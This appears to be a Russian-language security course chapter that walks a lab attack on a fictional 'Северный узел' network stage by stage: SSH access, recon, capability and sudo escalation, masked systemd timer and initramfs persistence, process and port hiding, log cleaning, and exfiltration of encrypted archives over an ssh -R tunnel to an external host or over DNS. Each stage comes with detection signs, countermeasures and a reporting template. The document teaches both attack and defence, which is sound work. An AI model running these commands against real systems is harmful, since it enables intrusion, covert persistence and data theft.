Апокриф 10

«Северный узел: Нулевой день» — итоговая операция

«Северный узел: Нулевой день» — итоговая операция

Девять предыдущих тем дали набор приёмов: перехват библиотек, разбор артефактов, эскалация через capabilities, локальные эксплойты, закрепление через systemd и cron, тамперинг загрузчика, сокрытие процессов и трафика, работа с eBPF и прямыми системными вызовами, чтение чужой памяти. По отдельности каждый приём — техника. Вместе они образуют операцию, и операция отличается от набора техник тремя вещами: порядком, контролем и следами.

Порядок важен потому, что каждый следующий шаг опирается на предыдущий: нельзя закрепиться, не получив root; нельзя скрыть процесс, не поняв, какие интерфейсы его показывают; нельзя вынести данные, не имея канала. Контроль важен потому, что операция без контрольных точек превращается в цепочку догадок: шаг считается выполненным только тогда, когда проверен результат, а не когда команда отработала без ошибки. Следы важны потому, что операция оценивается не по тому, что удалось сделать, а по тому, что осталось после.

Эта тема — не новая техника, а сборка. Сквозной сценарий разворачивается в учебной инфраструктуре «Северный узел»: бастион, целевой сервер приложений, узел мониторинга и внешний сервер, который атакующий использует как точку выноса. Все адреса — документационные (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24), домены — nsu.example, данные — вымышленные.

Изложение идёт по этапам. Для каждого этапа описано, что делает атакующий, какая контрольная точка подтверждает успех, что в этот момент видит защитник и какая настройка ломает этап. В конце — матрица обнаружения, структура отчёта и разбор «как бы это поймали». Материал опирается на предыдущие темы и не повторяет их механику: там, где нужна глубина, даётся ссылка.

Инфраструктура и пути показаны на рисунке 1. Классификация этапов соответствует тактикам MITRE ATT&CK: Initial Access, Discovery, Privilege Escalation, Persistence, Defense Evasion, Exfiltration 3.

Учебная инфраструктура «Северный узел»
Рисунок 1. Бастион, целевой сервер, узел мониторинга и внешняя точка выноса

Рамка операции

Инфраструктура и роли

УзелАдресРольЧто на нём
jump.nsu.example192.0.2.10бастионSSH, вход во внутреннюю сеть
app.nsu.example192.0.2.20цельUbuntu 24.04, systemd, сервис приложений
monitor.nsu.example192.0.2.30наблюдениеjournald, auditd, eBPF-трейсер
внешний сервер203.0.113.10точка выносаSSH-сервер, DNS-сервер
рабочая станция198.51.100.10атакующийтерминал, инструменты

Цель операции — получить устойчивый доступ к app.nsu.example, подтвердить права root, закрепиться так, чтобы доступ пережил перезагрузку, и вынести учебный файл, не оставив следов, которые видны штатным утилитам. Отдельная цель — не быть обнаруженным eBPF-трейсером, который стоит на узле мониторинга.

Что считается успехом

Успех описывается не эмоцией, а списком проверяемых утверждений:

  1. Доступ к app.nsu.example получен под непривилегированной учётной записью.
  2. Найден и подтверждён вектор повышения прав до root.
  3. Создана точка закрепления, переживающая перезагрузку.
  4. Процесс и слушающий порт не видны ps, ss и ls /proc при обычном вызове.
  5. Учебный файл вынесен на внешний сервер.
  6. Для каждого шага известен хотя бы один независимый признак, который он оставил.

Шестой пункт — не формальность. Операция, после которой нельзя ответить «что именно нас выдало», считается незавершённой: защитник найдёт след раньше, чем атакующий поймёт, что его ищут.

Контрольные точки и журнал

Каждый этап завершается контрольной точкой. Если она не пройдена, следующий этап не начинается: сначала разбор.

ТочкаПосле этапаПроверка
К1доступid, whoami, last на целевом хосте
К2разведкасписок найденных векторов с приоритетами
К3эскалацияid -u = 0, чтение /etc/shadow
К4закреплениеперезагрузка и повторный вход без действий атакующего
К5сокрытиеps, ss, ls /proc не показывают объект
К6выносфайл на внешнем сервере, хеш совпадает
Этапы операции «Северный узел: Нулевой день»
Шесть этапов операции: контрольные точки, артефакты и парные признаки обнаружения

Журнал операции ведётся с самого начала: время, команда, результат, что изменилось в системе. Без журнала невозможно ни отчитаться, ни разобрать, где операция оставила лишний след. Требования к полноте и порядку фиксации событий при разборе инцидента описаны в криминалистической методике 4.

Этап 0. Первичный доступ

Разведка снаружи

Внешняя разведка ограничена: видны только бастион и, возможно, веб-сервис. Проверяются открытые порты, версии SSH, баннеры, DNS-записи. Ничего экзотического: цель — понять, куда входить, а не найти уязвимость в первые пять минут.

nmap -Pn -sT -p22,80,443 192.0.2.10 192.0.2.20
dig +short app.nsu.example

Дальше — попытка входа по ключу, который «нашёлся» в учебной истории пользователя. Механика поиска артефактов и работа с агентом SSH разобраны в теме 2 6. В реальной операции ключ добывается иначе (тема 2), но механика входа та же: ssh -i key user@app.nsu.example.

Вход и первый след

Любой вход по SSH оставляет запись в трёх местах: в журнале sshd на целевом хосте, в wtmp (успешный вход) и на бастионе, если вход шёл через него. Запись содержит пользователя, адрес источника, отпечаток ключа и время.

Accepted publickey for deploy from 198.51.100.10 port 51234 ssh2: ED25519 SHA256:...

С точки зрения защитника это первый и самый надёжный признак: новый адрес, новый ключ, необычное время. С точки зрения атакующего — первый след, который придётся объяснять. Убрать его из локальных журналов можно (тема 6), но на бастионе и на узле мониторинга останется копия.

Что видит защитник

  • auth.log/journalctl -u ssh: успешный вход, адрес, ключ;
  • last/wtmp: сессия;
  • сетевые логи бастиона: соединение с рабочей станции;
  • аномалия: пользователь, который обычно входит с другого адреса.

Этап 1. Разведка на хосте

Сбор

На хосте разведка отвечает на четыре вопроса: кто я, что мне разрешено, что запущено и что можно использовать. Минимальный набор:

id; sudo -l; getcap -r / 2>/dev/null; find / -perm -4000 -type f 2>/dev/null
systemctl list-timers --all --no-pager; systemctl list-unit-files --state=enabled
cat /etc/crontab; ls -la /etc/cron.d /var/spool/cron/crontabs 2>/dev/null
mount | grep -E 'nosuid|noexec'; uname -a; cat /etc/os-release

Каждый пункт — не просто команда, а вопрос. sudo -l показывает, какие команды разрешены без пароля; getcap — какие бинарники получили capabilities; find -perm -4000 — SUID-биты. Ответы складываются в таблицу векторов.

Скрипт инвентаризации

Разведка вручную занимает время и оставляет много следов. Компактный скрипт делает то же самое одним запуском:

#!/bin/sh
# inventory.sh — минимальная инвентаризация хоста
set -eu
echo "== whoami =="; id
echo "== sudo =="; sudo -n -l 2>/dev/null || echo 'нет или нужен пароль'
echo "== capabilities =="; getcap -r / 2>/dev/null || true
echo "== suid =="; find / -xdev -perm -4000 -type f 2>/dev/null
echo "== units =="; systemctl list-units --type=service --state=running --no-pager
echo "== timers =="; systemctl list-timers --all --no-pager
echo "== cron =="; ls -la /etc/cron.d /etc/cron.daily 2>/dev/null
echo "== kernel =="; uname -r

Скрипт шумит: find / читает каталоги, getcap обходит файловую систему, systemctl обращается к D-Bus. Шум виден в auditd и в eBPF. Уменьшить его можно, ограничив обход (-xdev, конкретные каталоги) и выполняя команды по одной, а не одним пакетом.

Поиск секретов в конфигурации

Разведка не заканчивается правами. На хосте почти всегда есть файлы, которые содержат то, что не должно быть доступно: токены в ~/.netrc, пароли в EnvironmentFile, ключи в ~/.ssh, учётные данные в .git-credentials, строки подключения в конфигурациях приложений. Поиск идёт по именам и по содержимому:

grep -RIl --exclude-dir=.git -E 'password|passwd|secret|token|api_key' /etc /opt /home 2>/dev/null | head -20
find /home /opt -maxdepth 3 \( -name '.netrc' -o -name '.git-credentials' -o -name 'id_*' \) 2>/dev/null

Это шумная операция: grep -R читает много файлов и оставляет следы в auditd на openat. Тише — читать конкретные файлы, о существовании которых известно из конфигурации сервисов (systemctl cat, EnvironmentFile=).

Что видит защитник

  • auditd: execve для find, getcap, systemctl, sudo;
  • eBPF: те же вызовы на уровне ядра, независимо от того, как они сделаны;
  • journalctl: обращения к D-Bus и к systemctl;
  • аномалия: пользователь, который никогда не запускал getcap, запускает его ночью.

Этап 2. Эскалация

Выбор вектора

Из инвентаризации выбирается вектор с наименьшим шумом и наибольшей надёжностью. В учебном сценарии на хосте оказывается бинарник с cap_setuid — этого достаточно. Альтернативы: ошибка в sudoers, SUID-бинарник из GTFOBins, уязвимость ядра. Механика каждого разобрана в темах 3 и 4; здесь важна последовательность. Модель прав и capabilities на уровне ядра описана в литературе 7.

getcap -r / 2>/dev/null
/usr/local/bin/backup-tool cap_setuid=ep

Эксплуатация и подтверждение

cap_setuid на интерпретаторе или на программе, которая позволяет выполнить код, даёт смену uid. Подтверждение — не «команда не выдала ошибку», а конкретная проверка:

/usr/local/bin/backup-tool --exec 'id -u'
0

После этого — чтение /etc/shadow как доказательство, что права реальные, а не иллюзия:

head -1 /etc/shadow

Если вектор не сработал, он фиксируется в журнале как неудачный и выбирается следующий. Пробовать всё подряд — шум, который сводит на нет этап сокрытия.

Альтернативы: sudo и локальный эксплойт

cap_setuid — удобный, но не единственный вектор. Ошибка в sudoers встречается чаще, чем кажется: разрешение на vim, less, find, tar без пароля превращается в root через GTFOBins (тема 3). Проверка:

sudo -n -l
User deploy may run the following commands on app:
    (root) NOPASSWD: /usr/bin/vim

Дальше — sudo vim -c ':!sh'. Это грубый, шумный, но работающий путь. Третий вариант — локальный эксплойт ядра (тема 4); он применяется, когда первые два недоступны, и требует снапшота ВМ, потому что неудачная попытка может уронить машину.

Выбор вектора — компромисс между шумом, надёжностью и последствиями. В учебной операции cap_setuid выбран потому, что он не роняет систему и оставляет один понятный след в auditd.

Что видит защитник

  • auditd: execve бинарника с capabilities, setuid, чтение /etc/shadow;
  • journalctl: sudo-события, если вектор шёл через sudo;
  • eBPF: sys_enter_setuid и sys_enter_openat для /etc/shadow;
  • аномалия: процесс с capabilities, который обычно не запускается.

Этап 3. Закрепление

Таймер и linger

Первая точка закрепления — пользовательский таймер с linger. Она не требует root и переживает выход из сессии. Механика — в теме 5; здесь важна маскировка: формат юнитов и таймеров документирован в systemd 2, а администрирование служб — в руководстве 5. имя юнита, описание и путь должны выглядеть штатно.

# ~/.config/systemd/user/telemetry-sync.service
[Unit]
Description=Telemetry Sync Worker

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'date -Is >> %h/.local/share/telemetry-sync.log'

[Install]
WantedBy=default.target
# ~/.config/systemd/user/telemetry-sync.timer
[Unit]
Description=Telemetry Sync Schedule

[Timer]
OnBootSec=2min
OnUnitActiveSec=15min
RandomizedDelaySec=30
Persistent=true

[Install]
WantedBy=timers.target
systemctl --user daemon-reload
systemctl --user enable --now telemetry-sync.timer
sudo loginctl enable-linger deploy

Контрольная точка К4: перезагрузка и проверка, что таймер сработал без входа. systemctl --user list-timers после перезагрузки покажет следующий запуск.

Хук initramfs

Вторая точка — уровень загрузки (тема 6). Хук в /etc/initramfs-tools/scripts/init-premount выполняется до монтирования корня и не виден в journalctl. Для учебной операции достаточно хука, который пишет маркер в /dev/kmsg при определённом параметре ядра, — он демонстрирует уровень, не ломая загрузку.

#!/bin/sh
# /etc/initramfs-tools/scripts/init-premount/zz-probe
set -eu
case "$(cat /proc/cmdline)" in
    *probe=1*) echo 'probe: initramfs stage' > /dev/kmsg ;;
esac
sudo install -m 0755 zz-probe /etc/initramfs-tools/scripts/init-premount/zz-probe
sudo update-initramfs -u -k all

Хук в образе — правка, которая исчезнет при обновлении ядра. Для живучести его кладут в /etc/kernel/postinst.d/ (тема 6). Это уже вторая точка, независимая от таймера: если одну найдут, вторая останется.

Маскировка под штатный сервис

Точка закрепления редко выдаёт себя именем. Маскировка — это набор мелких решений, каждое из которых по отдельности ничего не значит: имя юнита из слов, встречающихся в системных (sync, telemetry, updates, metrics), описание, совпадающее с поведением, путь в /usr/local/libexec или /opt, отсутствие ExecStartPre с подозрительной командой, Restart=always и RestartSec в разумных пределах.

Что выдаёт подделку, описано в теме 5: несоответствие dpkg -S, свежий mtime, путь вне /usr/bin, процессы в cgroup, не соответствующие описанию. В операции маскировка применяется не для того, чтобы обмануть внимательного защитника навсегда, а чтобы выиграть время до первого автоматического обхода.

Резервный канал

Третья точка — ключ в authorized_keys пользователя, который редко входит. Она шумная (файл проверяется защитниками в первую очередь), но полезна как резерв, если таймер и хук будут удалены. В учебной операции достаточно двух точек; третья добавляется, если по условиям задачи нужен «доступ после полной зачистки».

Что видит защитник

  • systemctl --user list-timers, loginctl show-user -p Linger;
  • lsinitramfs и хеш /boot/initrd.img-* (тема 6);
  • auditd на /etc/systemd, /var/lib/systemd/linger, /etc/initramfs-tools;
  • аномалия: linger у обычного пользователя, новый таймер с нестандартным расписанием.

Этап 4. Сокрытие

Процесс

Сокрытие процесса начинается с вопроса: от кого скрываем? От ps, от ls /proc, от systemd-cgls или от всего сразу. User-mode перехват (тема 7) закрывает первый слой и не закрывает остальные. Устройство procfs и системных вызовов описано в документации ядра 8 и у Керриска 1. В операции он используется вместе с прямыми системными вызовами (тема 8), чтобы не оставлять библиотеку в maps.

/* фрагмент: перехват readdir, скрывающий процесс по comm */
while ((e = real(dirp)) != NULL) {
    if (is_pid(e->d_name) && is_hidden(e->d_name))
        continue;
    return e;
}

Границы приёма известны: статические утилиты, прямой getdents64, cgroup.procs, auditd и eBPF видят процесс независимо. Поэтому сокрытие — это не «процесса нет», а «процесс не виден привычным инструментам».

Порт

Слушающий порт скрывается переносом на 127.0.0.1 и правилом REDIRECT (тема 7). Снаружи виден только порт, который выглядит штатно; ss показывает внутренний, если смотреть на хосте.

iptables -t nat -A OUTPUT -p tcp --dport 8080 -j REDIRECT --to-port 2222
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-port 2222

Что делать с eBPF-трейсером

На monitor.nsu.example стоит eBPF-трейсер, который видит системные вызовы на уровне ядра. Перехват библиотек от него не спасает: вызов всё равно уходит в ядро. Единственный способ не попасть в трейс — не делать вызовов, которые он отслеживает, или делать их в контексте, который неотличим от штатного.

Практические приёмы:

  • меньше вызовов: один execve скрипта вместо десяти утилит; чтение файла одним read вместо grep -R;
  • штатные имена: запуск из пути, который уже встречается в системе, с аргументами, похожими на обычные;
  • разнесение по времени: операции не в одну секунду, а в разные окна;
  • использование уже запущенных процессов: инъекция в существующий сервис (тема 9) не создаёт нового execve.

Прямой системный вызов (тема 8) обходит LD_PRELOAD, но не обходит sys_enter_* в eBPF. Это важно понимать: «обход EDR» в Linux — это не один приём, а работа с тем, какие именно события собирает конкретный трейсер.

Логи

Чистка логов — самый шумный этап. sed -i по auth.log, utmpdump по wtmp, journalctl --vacuum-time оставляют следы в метаданных, в auditd и в резервных копиях. В учебной операции достаточно удалить одну запись из wtmp в копии и показать, что ctime и journalctl её выдают (тема 6). Полная зачистка не выполняется: она бессмысленна, если журналы уходят на узел мониторинга.

Что видит защитник

  • расхождение ps и прямого обхода /proc;
  • ss и conntrack для порта;
  • auditd на ptrace, bind, connect;
  • journalctl --verify и __SEQNUM для журнала;
  • TracerPid, maps, environ для процесса.

Этап 5. Эксфильтрация

Дамп sshd

Самый ценный объект на хосте — память sshd: ключи хоста и сессий (тема 9). Чтение требует прав и разрешения Yama; в учебной операции используется учебный сервис, а не настоящий sshd, чтобы не трогать системные ключи.

pid=$(pgrep -f './target_service' | head -1)
python3 dump_inspect.py "$pid"

Канал ssh -R

Обратный туннель не открывает внешних портов на цели (тема 7):

ssh -N -R 8080:127.0.0.1:2222 deploy@203.0.113.10

Снаружи видно исходящее SSH-соединение, процесс ssh -N и слушатель на 127.0.0.1:2222. На внешнем сервере — входящее соединение и порт 8080.

Подготовка данных

Перед выносом данные упаковываются: tar с -C, gzip или zstd, при необходимости — разбиение на части и кодирование в Base64 для каналов, которые не любят двоичные данные. Хеш считается до и после, чтобы подтвердить целостность.

tar -czf - -C /home/deploy loot | openssl enc -aes-256-cbc -pbkdf2 -pass pass:учебный > /tmp/loot.enc
sha256sum /tmp/loot.enc
split -b 32k /tmp/loot.enc /tmp/loot.part.

Размер частей выбирается под канал: для DNS — сотни байт, для SSH-туннеля — десятки килобайт. Шифрование не делает вынос незаметным: объём и направление трафика видны в flow-логах независимо от содержимого.

DNS-канал

Если исходящие соединения ограничены, остаётся DNS (тема 7). В учебной операции достаточно передать небольшой файл в поддоменах и показать, как это выглядит в логах DNS-сервера: длинные метки, высокая частота, необычные типы записей.

Что видит защитник

  • conntrack на обеих сторонах;
  • journalctl -u ssh на цели, journalctl -u sshd на внешнем сервере;
  • DNS-логи: аномальные запросы;
  • flow-логи шлюза: объём и направление.

Синяя сторона: восстановление картины

Источники и корреляция

Ни один источник не даёт полной картины. Полная картина собирается из нескольких, и главный инструмент — время. Одна операция оставляет следы в auth.log, auditd, journald, conntrack и DNS-логах; они должны сойтись по времени и по субъекту.

ИсточникЧто даётСлабое место
journaldслужбы, SSH, systemdможно очистить локально
wtmp/btmpсессии и неудачные входыбинарный формат, правится utmpdump
auditdexecve, ptrace, bind, файлытребует настройки, много шума
eBPFсистемные вызовы на уровне ядратребует инструментов и навыка
conntrackсоединениякороткое время жизни
DNS-логизапросытолько если есть DNS-сервер
резервные копиивсё вышеперечисленноезадержка, но независимость

Временная шкала операции показана на рисунке 2.

Временная шкала операции и следы
Рисунок 2. Действия атакующего и независимые следы, которые они оставляют

Построение временной шкалы

Корреляция начинается с приведения времени к одному поясу и формату. journalctl умеет -o short-iso, auditd — ausearch -i, last — -F. Дальше события складываются в один файл и сортируются:

journalctl --since '2026-10-19 00:00' --until '2026-10-20 00:00' -o short-iso --no-pager > /tmp/timeline.txt
sudo ausearch -i --start '2026-10-19 00:00:00' --end '2026-10-20 00:00:00' >> /tmp/timeline.txt
last -F >> /tmp/timeline.txt
sort -k1,2 /tmp/timeline.txt | head -50

Простой скрипт, который выделяет подозрительные события:

#!/usr/bin/env python3
"""Выделяет из журнала события, связанные с указанным пользователем."""
import re
import sys

user = sys.argv[1] if len(sys.argv) > 1 else "deploy"
patterns = [
    rf"{user}",
    r"sudo",
    r"ptrace",
    r"setuid",
    r"/etc/shadow",
    r"systemd.*(start|enable)",
]

with open("/tmp/timeline.txt", errors="replace") as fh:
    for line in fh:
        if any(re.search(p, line) for p in patterns):
            print(line.rstrip())

Скрипт — не детектор, а фильтр: он убирает шум и оставляет строки, которые человек прочитает глазами. Автоматические правила дают ложные срабатывания, и на учебной операции это нормально: цель — научиться читать шкалу, а не настроить SIEM.

Матрица обнаружения по этапам

ЭтапДействиеПризнакКонтрмера
0вход по ключуновый адрес и ключ в sshdоповещение о входе с нового адреса
0вход через бастионцепочка сессий на бастионеобязательный аудит бастиона
1инвентаризацияexecve find, getcap, systemctlauditd на execve, eBPF
2cap_setuidsetuid и чтение /etc/shadowминимальные capabilities, nosuid
2LPEdmesg, аномальные mmap/writeKSPP, kptr_restrict, LKRG
3таймер и lingerновый юнит, lingerаудит /etc/systemd, /var/lib/systemd/linger
3initramfsхеш /boot/initrd.img-* изменилсяэталон хешей, подпись образа
4перехват readdirбиблиотека в maps, LD_PRELOADсравнение ps с прямым обходом
4REDIRECTправила nat, conntrackконтрольные суммы iptables-save
4чистка логов__SEQNUM, ctime, journalctl --verifyвнешний журнал, Seal=yes
5ssh -Rисходящее SSH, процесс ssh -NAllowTcpForwarding no
5DNS-туннельаномальные запросыDNS-фильтрация и лимиты

Что ломает каждый этап

  • 0: обязательный второй фактор и запрет входа по ключу с новых адресов без подтверждения.
  • 1: auditd на execve и eBPF-трейсер, который видит вызовы независимо от библиотек.
  • 2: минимальные capabilities, NoNewPrivileges, nosuid на разделах, своевременные обновления ядра.
  • 3: контроль хешей /boot, аудит конфигурации systemd, запрет linger для обычных пользователей.
  • 4: сравнение нескольких интерфейсов видимости, внешний журнал, hidepid=2.
  • 5: AllowTcpForwarding no, GatewayPorts no, DNS-фильтрация, контроль исходящих соединений.

Отчёт операции

Структура отчёта

Отчёт — не рассказ, а документ, по которому можно воспроизвести проверку. Минимальная структура:

1. Рамка: цель, инфраструктура, ограничения, время начала и конца.
2. Этапы: для каждого — что сделано, чем подтверждено, что изменено в системе.
3. Контрольные точки: пройдены или нет, с доказательством.
4. Следы: для каждого этапа — источник, запись, время.
5. Что не сработало: векторы, которые проверены и отвергнуты.
6. Выводы: какие настройки сработали, какие нет, что менять.

Пример заполнения

Фрагмент отчёта по этапу эскалации — так, чтобы его можно было проверить:

ПолеЗначение
Время2026-10-19 22:14:03 MSK
Действиезапуск /usr/local/bin/backup-tool --exec 'id -u'
Результат0
Доказательствоhead -1 /etc/shadow вернул строку root:*:...
Изменено в системеничего, права получены в рамках процесса
Следauditd: execve с euid=1000, затем setuid(0); openat /etc/shadow
Обнаруживаетсяправилом на чтение /etc/shadow; eBPF-трейсером по sys_enter_setuid

Такой фрагмент отвечает на все вопросы сразу: что сделано, чем подтверждено, что осталось. Отчёт из десятка таких фрагментов читается быстрее, чем связный текст на десять страниц.

Ограничения учебного сценария

Сценарий учебный, и это накладывает ограничения, которые нужно назвать честно. Во-первых, все узлы — виртуальные машины или пространства имён, а не реальная инфраструктура; сетевые задержки, шум и человеческий фактор в них не воспроизводятся. Во-вторых, eBPF-трейсер на monitor.nsu.example упрощён: он показывает принцип, а не полный набор правил промышленной системы. В-третьих, учебный сервис разрешает отладку через PR_SET_PTRACER_ANY, иначе часть этапов была бы невозможна при ptrace_scope=1.

Эти ограничения не отменяют выводов: механика приёмов и механика обнаружения от них не зависят. Но переносить оценки «сколько времени займёт обнаружение» с учебного стенда на реальную инфраструктуру нельзя.

Разбор «как бы это поймали»

Хороший разбор отвечает не на вопрос «заметили ли нас», а на вопрос «что именно и в какой момент». Для учебной операции:

  1. Вход: auth.log показывает новый адрес в T0; защитник, у которого есть правило на новые адреса, узнаёт об операции в первые минуты.
  2. Разведка: auditd фиксирует getcap и find в T1; eBPF видит те же вызовы, даже если auditd отключён.
  3. Эскалация: setuid и чтение /etc/shadow в T2 — самый явный признак; правило на чтение shadow срабатывает сразу.
  4. Закрепление: новый таймер и linger в T3; аудит /etc/systemd и /var/lib/systemd/linger ловит их при создании, а не при срабатывании.
  5. Сокрытие: расхождение ps и прямого обхода /proc в T4; перехват виден по maps и environ.
  6. Вынос: исходящее SSH в T5; conntrack и flow-логи показывают соединение, даже если процесс скрыт.

Вывод: каждый этап имеет независимый признак, и защитник, у которого настроены все шесть источников, обнаруживает операцию на этапе 0 или 1. Атакующий, который хочет пройти дальше, вынужден либо снижать шум (медленнее, дороже), либо ломать источники (что само по себе заметно).

Типичные провалы операции

Операция проваливается не на сложных приёмах, а на простых вещах. Пять самых частых:

  1. Шум на разведке. find / и grep -R по всей файловой системе занимают минуты и оставляют тысячи событий в auditd. Защитник видит аномалию раньше, чем атакующий находит вектор.
  2. Один канал закрепления. Таймер удалён — доступа нет. Вторая точка (хук, ключ) должна быть независимой по механизму, а не по имени.
  3. Проверка без доказательства. Команда отработала без ошибки, но id -u не проверен. Дальше строится цепочка на ложном основании.
  4. Следы в метаданных. Удалённая запись из wtmp оставила ctime каталога и расхождение с journalctl. Логи чистятся, а метаданные — нет.
  5. Забытый канал. После операции остаётся исходящее SSH-соединение, которое живёт сутками и видно в conntrack. Канал надо закрывать сразу после выноса.

Разбор каждого провала полезнее, чем разбор успеха: успех подтверждает, что приём работает, провал показывает, где именно модель мира разошлась с реальностью.

Итоги курса

Апокрифы начались с окружения и LD_PRELOAD, а закончились операцией, в которой каждый приём занял своё место. Общая логика курса: у любого действия в Linux есть несколько интерфейсов видимости, и полное сокрытие требует контроля над всеми. Перехват библиотеки закрывает один интерфейс, прямой системный вызов — другой, модуль ядра — третий, но и они оставляют следы в журналах, метриках и на соседних узлах.

Второй вывод: закрепление и сокрытие — разные задачи, и решать их надо разными средствами. Таймер переживает перезагрузку, но виден в list-timers; хук initramfs не виден в journalctl, но меняет хеш /boot; перехват readdir скрывает процесс от ps, но не от cgroup. Комбинировать их нужно так, чтобы обнаружение одного не раскрывало остальные.

Третий вывод: обнаружение строится на независимых источниках и корреляции по времени. Защитник, который смотрит только journalctl, проигрывает; защитник, который сверяет journalctl, auditd, eBPF, conntrack и внешний журнал, выигрывает на раннем этапе. Именно поэтому в курсе у каждой темы есть парный раздел «обнаружение и защита»: приём без контрмеры — половина знания.

Дальше — самостоятельная работа: собрать собственную лабораторию, пройти операцию по этапам, а затем разобрать её со стороны защиты по собственным логам. Курс заканчивается там, где начинается практика.

Литература

  1. The Linux man-pages project. — https://man7.org/linux/man-pages/
  2. systemd. Документация systemd.unit, systemd.service, systemd.timer, journalctl. — https://www.freedesktop.org/software/systemd/man/
  3. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
  4. NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.
  5. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
  6. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
  7. Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
  8. Linux Kernel Documentation. — https://docs.kernel.org/